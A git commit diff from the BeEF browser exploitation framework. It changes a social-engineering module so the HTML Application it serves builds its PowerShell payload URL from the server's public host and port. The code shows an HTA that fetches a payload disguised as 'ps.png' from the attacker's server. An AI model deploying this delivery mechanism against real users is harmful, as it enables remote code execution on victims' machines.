Fixed bind_powershell to work in NAT-like envs where beef.http.public is used.

This commit is contained in:
antisnatchor
2014-12-10 10:21:46 +01:00
parent 979493c61f
commit decdb6c39d

View File

@@ -28,9 +28,8 @@ module BeEF
# serves the HTML Application (HTA)
get '/hta' do
response['Content-Type'] = "application/hta"
host = BeEF::Core::Configuration.instance.get('beef.http.host')
port = BeEF::Core::Configuration.instance.get('beef.http.port')
host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host')
port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port')
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
payload_url = "http://#{host}:#{port}#{ps_url}/ps.png"